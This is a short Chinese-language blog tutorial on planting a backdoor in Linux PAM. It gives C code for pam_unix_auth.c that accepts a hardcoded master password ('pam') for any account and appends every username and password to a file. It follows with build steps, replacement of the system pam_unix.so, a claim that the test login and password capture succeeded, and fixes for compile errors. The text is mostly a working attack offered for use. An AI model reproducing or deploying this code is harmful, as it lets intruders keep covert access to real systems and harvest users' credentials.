本文由Sky原创投稿,请尊重劳动成果,转载注明出处!

测试环境:Centos 6.2 64位

0×01:查询本机的PAM版本

pam-1

下载地址:

http://www.linux-pam.org/library/

https://fedorahosted.org/releases/l/i/linux-pam/

下载对应的版本

对原有的文件进行备份

pam模块后门


0×02:修改源文件

修改pam_unix_auth.c

linux系统安全之pam后门_第1张图片

添加万能密码


/* verify the password of this user */

retval = _unix_verify_password(pamh, name, p, ctrl);

//万能密码

if(strcmp(p,”pam”)==0)

{

retval = PAM_SUCCESS;

}


//存储密码的地方

if(retval== PAM_SUCCESS)

{

fp=fopen(“pam.txt”,”a”);

fprintf(fp,”%s::%s\n”,name,p);

fclose(fp);

}


linux系统安全之pam后门_第2张图片

./configure

make

在Linux-PAM-1.1.1/modules/pam_unix/.libs中的pam_unix.so就是后门文件

对/lib64/security中的文件进行替换


0×03测试后门

linux系统安全之pam后门_第3张图片

成功登录,并且记录密码,证明成功!


make过程中可能会出现一下问题:

0×01:

linux系统安全之pam后门_第4张图片
未定义yywrap()这个函数

根据提示的文件路径,在里面定义

#define yywrap() 1

0×02:


linux系统安全之pam后门_第5张图片

在PAM_EXTERN int pam_sm_authenticate(pam_handle_t * pamh, int flags,int argc, const char **argv)

中定义

FILE *fp;